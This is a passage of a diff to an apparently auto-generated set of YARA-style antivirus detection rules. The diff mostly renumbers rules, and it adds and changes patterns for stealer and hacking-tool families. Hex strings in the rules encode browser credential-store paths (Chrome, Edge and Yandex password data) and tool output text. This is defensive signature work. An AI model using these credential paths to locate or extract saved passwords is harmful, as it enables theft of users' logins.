1)*4360+(#a_5d_3 & 1)*4440+(#a_07_4 & 1)*5009) >=5 } -rule _InfrastructureShared_18259{ +rule _InfrastructureShared_19429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -220743,7 +235109,7 @@ rule _InfrastructureShared_18259{ ((#a_46_0 & 1)*21283+(#a_60_1 & 1)*29833+(#a_90_2 & 1)*9292+(#a_01_3 & 1)*-1866+(#a_2f_4 & 1)*18771) >=5 } -rule _InfrastructureShared_18260{ +rule _InfrastructureShared_19430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -220753,7 +235119,7 @@ rule _InfrastructureShared_18260{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_18261{ +rule _InfrastructureShared_19431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -220769,7 +235135,7 @@ rule _InfrastructureShared_18261{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*29541+(#a_36_2 & 1)*14381+(#a_65_3 & 1)*29810+(#a_2f_4 & 1)*16998+(#a_77_5 & 1)*274+(#a_73_6 & 1)*17665) >=7 } -rule _InfrastructureShared_18262{ +rule _InfrastructureShared_19432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -220787,7 +235153,7 @@ rule _InfrastructureShared_18262{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25972+(#a_68_2 & 1)*24948+(#a_00_4 & 1)*60+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=7 } -rule _InfrastructureShared_18263{ +rule _InfrastructureShared_19433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -220804,7 +235170,7 @@ rule _InfrastructureShared_18263{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28275+(#a_75_2 & 1)*29817+(#a_65_3 & 1)*30058+(#a_65_4 & 1)*25654+(#a_62_5 & 1)*13357+(#a_31_6 & 1)*14386+(#a_00_7 & 1)*10) >=8 } -rule _InfrastructureShared_18264{ +rule _InfrastructureShared_19434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -220823,7 +235189,7 @@ rule _InfrastructureShared_18264{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_65_2 & 1)*29810+(#a_6e_3 & 1)*29268+(#a_01_4 & 1)*8448+(#a_73_5 & 1)*26988+(#a_72_6 & 1)*30305+(#a_73_7 & 1)*26996+(#a_32_8 & 1)*8302+(#a_65_9 & 1)*29283) >=10 } -rule _InfrastructureShared_18265{ +rule _InfrastructureShared_19435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -220842,7 +235208,7 @@ rule _InfrastructureShared_18265{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29811+(#a_30_2 & 1)*12903+(#a_65_3 & 1)*23668+(#a_6e_4 & 1)*25970+(#a_79_5 & 1)*27745+(#a_63_6 & 1)*29797+(#a_2e_7 & 1)*27745+(#a_00_8 & 1)*92+(#a_65_9 & 1)*29811) >=10 } -rule _InfrastructureShared_18266{ +rule _InfrastructureShared_19436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -220860,7 +235226,7 @@ rule _InfrastructureShared_18266{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29283+(#a_6e_2 & 1)*21249+(#a_73_3 & 1)*26990+(#a_72_4 & 1)*28531+(#a_2e_5 & 1)*13940+(#a_72_6 & 1)*29545+(#a_00_7 & 1)*26465+(#a_00_10 & 1)*46) >=10 } -rule _InfrastructureShared_18267{ +rule _InfrastructureShared_19437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0d 00 21 " @@ -220880,7 +235246,7 @@ rule _InfrastructureShared_18267{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*92+(#a_65_3 & 1)*29811+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_59_7 & 1)*0+(#a_00_8 & 1)*105+(#a_00_9 & 1)*104+(#a_52_11 & 1)*21320+(#a_74_12 & 1)*18177) >=11 } -rule _InfrastructureShared_18268{ +rule _InfrastructureShared_19438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0a 00 21 " @@ -220898,7 +235264,7 @@ rule _InfrastructureShared_18268{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*101+(#a_00_2 & 1)*115+(#a_00_4 & 1)*46+(#a_6f_5 & 1)*31088+(#a_36_6 & 1)*12324+(#a_69_7 & 1)*26984+(#a_69_8 & 1)*24390+(#a_cc_9 & 1)*-103) >=13 } -rule _InfrastructureShared_18269{ +rule _InfrastructureShared_19439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -220922,7 +235288,7 @@ rule _InfrastructureShared_18269{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32503+(#a_61_2 & 1)*28484+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_5a_9 & 1)*0+(#a_ff_10 & 1)*-26215+(#a_41_11 & 1)*20035+(#a_65_12 & 1)*24933+(#a_19_13 & 1)*8819+(#a_00_15 & 1)*116) >=16 } -rule _InfrastructureShared_18270{ +rule _InfrastructureShared_19440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -220934,7 +235300,7 @@ rule _InfrastructureShared_18270{ ((#a_46_0 & 1)*16675+(#a_cc_1 & 1)*-52+(#a_ff_2 & 1)*22732) >=2 } -rule _InfrastructureShared_18271{ +rule _InfrastructureShared_19441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -220947,7 +235313,7 @@ rule _InfrastructureShared_18271{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_66_2 & 1)*10535+(#a_19_3 & 1)*30776) >=3 } -rule _InfrastructureShared_18272{ +rule _InfrastructureShared_19442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -220961,7 +235327,7 @@ rule _InfrastructureShared_18272{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*84+(#a_00_3 & 1)*84+(#a_46_4 & 1)*16675) >=3 } -rule _InfrastructureShared_18273{ +rule _InfrastructureShared_19443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -220974,7 +235340,7 @@ rule _InfrastructureShared_18273{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_76_2 & 1)*17523+(#a_4d_3 & 1)*31607) >=4 } -rule _InfrastructureShared_18274{ +rule _InfrastructureShared_19444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -220986,7 +235352,7 @@ rule _InfrastructureShared_18274{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*0+(#a_08_2 & 1)*2067) >=5 } -rule _InfrastructureShared_18275{ +rule _InfrastructureShared_19445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221000,7 +235366,7 @@ rule _InfrastructureShared_18275{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_90_2 & 1)*11617+(#a_01_3 & 1)*-28615+(#a_2d_4 & 1)*23085) >=5 } -rule _InfrastructureShared_18276{ +rule _InfrastructureShared_19446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221012,7 +235378,7 @@ rule _InfrastructureShared_18276{ ((#a_54_0 & 1)*18467+(#a_17_2 & 1)*-24063+(#a_17_4 & 1)*10) >=5 } -rule _InfrastructureShared_18277{ +rule _InfrastructureShared_19447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -221026,7 +235392,7 @@ rule _InfrastructureShared_18277{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*92+(#a_00_4 & 1)*120+(#a_00_6 & 1)*116) >=5 } -rule _InfrastructureShared_18278{ +rule _InfrastructureShared_19448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -221042,7 +235408,7 @@ rule _InfrastructureShared_18278{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_2 & 1)*114+(#a_65_3 & 1)*29797+(#a_00_4 & 1)*66+(#a_02_5 & 1)*29190+(#a_65_6 & 1)*29301) >=6 } -rule _InfrastructureShared_18279{ +rule _InfrastructureShared_19449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -221055,7 +235421,7 @@ rule _InfrastructureShared_18279{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*656+(#a_02_3 & 1)*28443+(#a_6c_5 & 1)*30465) >=8 } -rule _InfrastructureShared_18280{ +rule _InfrastructureShared_19450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221071,7 +235437,7 @@ rule _InfrastructureShared_18280{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_3 & 1)*104+(#a_72_4 & 1)*384+(#a_53_5 & 1)*8448+(#a_63_6 & 1)*29806+(#a_73_7 & 1)*28257) >=8 } -rule _InfrastructureShared_18281{ +rule _InfrastructureShared_19451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221088,7 +235454,7 @@ rule _InfrastructureShared_18281{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*25959+(#a_6d_2 & 1)*28515+(#a_63_3 & 1)*281+(#a_49_4 & 1)*19770+(#a_01_5 & 1)*1792+(#a_45_6 & 1)*14641+(#a_36_7 & 1)*11576) >=8 } -rule _InfrastructureShared_18282{ +rule _InfrastructureShared_19452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -221105,7 +235471,7 @@ rule _InfrastructureShared_18282{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28276+(#a_46_2 & 1)*12600+(#a_70_3 & 1)*13929+(#a_35_4 & 1)*24889+(#a_75_6 & 1)*9473+(#a_01_7 & 1)*7168+(#a_72_8 & 1)*385) >=9 } -rule _InfrastructureShared_18283{ +rule _InfrastructureShared_19453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -221123,7 +235489,7 @@ rule _InfrastructureShared_18283{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*-32487+(#a_65_2 & 1)*31080+(#a_36_3 & 1)*29813+(#a_75_4 & 1)*24949+(#a_53_5 & 1)*24940+(#a_8e_6 & 1)*4374+(#a_13_7 & 1)*0+(#a_00_8 & 1)*400) >=9 } -rule _InfrastructureShared_18284{ +rule _InfrastructureShared_19454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221142,7 +235508,7 @@ rule _InfrastructureShared_18284{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*4874+(#a_90_2 & 1)*1297+(#a_6e_3 & 1)*25710+(#a_01_4 & 1)*2304+(#a_73_5 & 1)*24936+(#a_69_6 & 1)*26996+(#a_01_7 & 1)*30720+(#a_61_8 & 1)*29798+(#a_65_9 & 1)*385) >=10 } -rule _InfrastructureShared_18285{ +rule _InfrastructureShared_19455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221161,7 +235527,7 @@ rule _InfrastructureShared_18285{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24946+(#a_5c_2 & 1)*25971+(#a_61_3 & 1)*11826+(#a_6b_4 & 1)*29282+(#a_6e_5 & 1)*25972+(#a_6e_6 & 1)*29801+(#a_65_7 & 1)*24898+(#a_77_8 & 1)*22605+(#a_63_9 & 1)*25430) >=10 } -rule _InfrastructureShared_18286{ +rule _InfrastructureShared_19456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221180,7 +235546,7 @@ rule _InfrastructureShared_18286{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*30300+(#a_75_2 & 1)*29472+(#a_73_3 & 1)*25701+(#a_74_4 & 1)*18177+(#a_49_5 & 1)*30565+(#a_33_6 & 1)*24833+(#a_64_7 & 1)*12855+(#a_61_8 & 1)*23610+(#a_65_9 & 1)*26479) >=10 } -rule _InfrastructureShared_18287{ +rule _InfrastructureShared_19457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -221192,16 +235558,14 @@ rule _InfrastructureShared_18287{ $a_61_5 = {65 72 2e 52 4d 21 4d 54 42 00 0a 00 4b 81 01 46 3a 5c 70 61 79 6c 6f 61 64 46 20 2d 20 43 6f 70 79 20 28 32 29 5c 46 69 6e 61 6c 42 75 69 6c 64 5c 46 69 6e 61 6c 42 75 69 6c 64 5c 46 69 6e 61 6c 42 75 69 6c 64 5c 6f 62 6a 5c 44 65 62 75 67 5c 61 73 64 66 67 2e 70 64 62 0a 00 1f 81 01 69 69 78 69 69 4c } //29779 $a_49_6 = {69 78 69 69 52 45 43 54 4f 52 59 4e 41 4d 45 69 69 78 69 69 01 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 01 } //18255 $a_01_7 = {4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 01 00 0f 81 01 50 4b 31 31 53 44 52 5f 44 65 63 72 79 70 74 01 00 36 81 01 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 59 61 20 50 61 73 73 6d 61 6e 20 44 61 74 61 01 00 07 81 01 4b 65 } //11008 - $a_67_8 = {00 00 78 5b 01 00 02 00 02 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 4e 61 6d 65 64 70 69 70 65 74 6f 75 00 01 00 3b 03 5b 2a 5d 20 53 75 6d 6d 61 72 79 3a 20 25 64 20 70 69 70 65 73 20 66 6f 75 6e 64 90 19 01 09 61 2d } //27769 - $a_5a_9 = {2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 5b 2b 5d 20 54 65 73 74 69 6e 67 20 25 64 20 70 69 70 65 73 } //16762 - $a_09_10 = {61 } //6544 a - $a_2d_11 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 42 03 5b 2d 5d 20 45 72 72 6f 72 20 6f 6e 20 53 4d 42 20 73 74 61 72 74 75 70 2c 20 61 62 6f 72 74 69 6e 67 90 19 01 09 61 } //31277 - $a_2d_12 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 48 03 39 32 61 37 36 31 63 32 39 62 39 34 36 61 61 34 35 38 38 37 36 66 66 37 38 33 37 35 65 30 65 32 38 62 63 38 61 63 62 } //31277 + $a_67_8 = {00 00 78 5b 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6f 67 43 6f 6c 6c 65 63 74 6f 72 2e 41 21 64 68 61 00 01 00 4e 01 5b 00 2b 00 5d 00 20 00 42 00 69 00 6e 00 64 00 20 00 74 00 68 00 65 00 20 00 49 00 6e 00 62 00 6f 00 78 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 73 00 75 00 } //27769 + $a_00_9 = {65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 21 00 01 00 54 01 5b 00 2b 00 5d 00 20 00 42 00 69 00 6e 00 64 00 20 00 74 00 68 00 65 00 20 00 53 00 65 00 6e 00 64 00 69 00 74 00 65 00 6d 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c } //99 + $a_00_11 = {3a } //33 : condition: - ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*29797+(#a_67_4 & 1)*21356+(#a_61_5 & 1)*29779+(#a_49_6 & 1)*18255+(#a_01_7 & 1)*11008+(#a_67_8 & 1)*27769+(#a_5a_9 & 1)*16762+(#a_09_10 & 1)*6544+(#a_2d_11 & 1)*31277+(#a_2d_12 & 1)*31277) >=13 + ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*29797+(#a_67_4 & 1)*21356+(#a_61_5 & 1)*29779+(#a_49_6 & 1)*18255+(#a_01_7 & 1)*11008+(#a_67_8 & 1)*27769+(#a_00_9 & 1)*99+(#a_00_11 & 1)*33) >=13 } -rule _InfrastructureShared_18288{ +rule _InfrastructureShared_19458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 21 " @@ -221209,15 +235573,25 @@ rule _InfrastructureShared_18288{ $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 52 4d 21 4d 54 42 00 0a 00 4b 81 01 46 3a 5c 70 61 79 6c 6f 61 64 46 20 2d 20 43 6f 70 79 20 28 32 29 5c 46 69 6e 61 6c 42 75 69 6c 64 5c 46 69 6e 61 6c 42 75 } //16675 $a_5c_1 = {69 6e 61 6c 42 75 69 6c 64 5c 6f 62 6a 5c 44 65 62 75 67 5c 61 73 64 66 67 2e 70 64 62 0a 00 1f 81 01 69 69 78 69 69 4c 4f 47 44 49 69 69 78 69 69 52 45 43 54 4f 52 59 4e 41 4d 45 69 69 78 69 69 01 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c } //27753 $a_6f_2 = {69 6e 20 44 61 74 61 01 00 2b 81 01 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 01 00 0f 81 01 50 4b 31 31 53 44 52 5f 44 65 63 72 79 70 74 01 } //23668 - $a_01_3 = {59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 59 61 20 50 61 73 73 6d 61 6e 20 44 61 74 61 01 00 07 81 01 4b 65 79 6c 6f 67 73 00 00 78 5b 01 00 02 00 02 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 4e 61 } //13824 - $a_70_4 = {70 65 74 6f 75 00 01 00 3b 03 5b 2a 5d 20 53 75 6d 6d 61 72 79 3a 20 25 64 20 70 69 70 65 73 20 66 6f 75 6e 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 5b 2b 5d 20 54 65 73 74 69 6e 67 20 25 64 20 70 69 70 65 73 90 19 01 09 61 2d 7a } //25965 - $a_30_5 = {39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 42 03 5b 2d 5d 20 45 72 72 6f 72 20 6f 6e 20 53 4d 42 20 73 74 61 72 74 75 70 2c 20 61 62 6f 72 74 69 6e 67 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //11585 - $a_03_6 = {39 32 61 37 36 31 63 32 39 62 39 34 36 61 61 34 35 38 38 37 36 66 66 37 38 33 37 35 65 30 65 32 38 62 63 38 61 63 62 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_01_3 = {59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 59 61 20 50 61 73 73 6d 61 6e 20 44 61 74 61 01 00 07 81 01 4b 65 79 6c 6f 67 73 00 00 78 5b 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6f 67 43 6f 6c 6c 65 63 74 6f 72 2e 41 21 64 68 61 00 01 00 4e 01 5b 00 2b 00 5d 00 20 00 } //13824 + $a_00_4 = {6e 00 64 00 20 00 74 00 68 00 65 00 20 00 49 00 6e 00 62 00 6f 00 78 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 21 00 01 00 54 01 5b 00 2b 00 5d 00 20 00 42 00 69 00 6e 00 64 00 20 00 74 00 68 00 65 00 20 00 53 00 65 00 6e 00 64 00 69 } //66 + $a_00_6 = {66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 } //109 folder successfu condition: - ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*27753+(#a_6f_2 & 1)*23668+(#a_01_3 & 1)*13824+(#a_70_4 & 1)*25965+(#a_30_5 & 1)*11585+(#a_03_6 & 1)*1) >=25 + ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*27753+(#a_6f_2 & 1)*23668+(#a_01_3 & 1)*13824+(#a_00_4 & 1)*66+(#a_00_6 & 1)*109) >=25 } -rule _InfrastructureShared_18289{ +rule _InfrastructureShared_19459{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6f 67 43 6f 6c 6c 65 63 74 6f 72 2e 41 21 64 68 61 00 01 00 4e 01 5b 00 2b 00 5d 00 20 00 42 00 69 00 6e 00 64 00 20 00 74 00 68 00 65 00 20 00 49 00 6e 00 62 00 6f 00 78 00 20 00 66 } //16675 + $a_00_2 = {72 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 21 00 01 00 54 01 5b 00 2b 00 5d 00 20 00 42 00 69 00 6e 00 64 00 20 00 74 00 68 00 65 00 20 00 53 00 65 00 6e 00 64 00 69 00 74 00 65 00 6d 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 73 00 75 00 63 00 63 00 65 } //100 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100) >=2 + +} +rule _InfrastructureShared_19460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -221231,7 +235605,7 @@ rule _InfrastructureShared_18289{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26992+(#a_73_2 & 1)*16973+(#a_09_3 & 1)*6544+(#a_2d_4 & 1)*31277) >=2 } -rule _InfrastructureShared_18290{ +rule _InfrastructureShared_19461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -221244,7 +235618,7 @@ rule _InfrastructureShared_18290{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50+(#a_00_3 & 1)*78+(#a_00_5 & 1)*102) >=2 } -rule _InfrastructureShared_18291{ +rule _InfrastructureShared_19462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -221255,7 +235629,7 @@ rule _InfrastructureShared_18291{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_18292{ +rule _InfrastructureShared_19463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -221267,7 +235641,7 @@ rule _InfrastructureShared_18292{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*122+(#a_00_2 & 1)*52) >=3 } -rule _InfrastructureShared_18293{ +rule _InfrastructureShared_19464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -221282,7 +235656,7 @@ rule _InfrastructureShared_18293{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*2125+(#a_0f_2 & 1)*7680+(#a_ff_3 & 1)*-20339+(#a_ff_4 & 1)*-1+(#a_6f_5 & 1)*17518) >=3 } -rule _InfrastructureShared_18294{ +rule _InfrastructureShared_19465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -221295,7 +235669,7 @@ rule _InfrastructureShared_18294{ ((#a_46_0 & 1)*16675+(#a_4d_2 & 1)*16640+(#a_ff_4 & 1)*32128+(#a_47_5 & 1)*4356) >=3 } -rule _InfrastructureShared_18295{ +rule _InfrastructureShared_19466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -221312,7 +235686,7 @@ rule _InfrastructureShared_18295{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2) >=3 } -rule _InfrastructureShared_18296{ +rule _InfrastructureShared_19467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221325,7 +235699,7 @@ rule _InfrastructureShared_18296{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26628+(#a_04_3 & 1)*-28636+(#a_24_4 & 1)*-32512) >=5 } -rule _InfrastructureShared_18297{ +rule _InfrastructureShared_19468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221339,7 +235713,7 @@ rule _InfrastructureShared_18297{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_2d_2 & 1)*2305+(#a_00_3 & 1)*14637+(#a_01_4 & 1)*26736) >=5 } -rule _InfrastructureShared_18298{ +rule _InfrastructureShared_19469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 0e 00 21 " @@ -221352,7 +235726,7 @@ rule _InfrastructureShared_18298{ ((#a_77_0 & 1)*16675+(#a_49_1 & 1)*299+(#a_6f_2 & 1)*11879+(#a_66_3 & 1)*25661) >=5 } -rule _InfrastructureShared_18299{ +rule _InfrastructureShared_19470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -221365,7 +235739,7 @@ rule _InfrastructureShared_18299{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-20224+(#a_00_3 & 1)*0+(#a_01_5 & 1)*0) >=6 } -rule _InfrastructureShared_18300{ +rule _InfrastructureShared_19471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221380,7 +235754,7 @@ rule _InfrastructureShared_18300{ ((#a_54_0 & 1)*18467+(#a_38_2 & 1)*15377+(#a_11_3 & 1)*4368+(#a_50_4 & 1)*22582+(#a_78_5 & 1)*28790+(#a_65_7 & 1)*385) >=8 } -rule _InfrastructureShared_18301{ +rule _InfrastructureShared_19472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221396,7 +235770,7 @@ rule _InfrastructureShared_18301{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29250+(#a_6e_3 & 1)*23553+(#a_74_4 & 1)*23667+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule 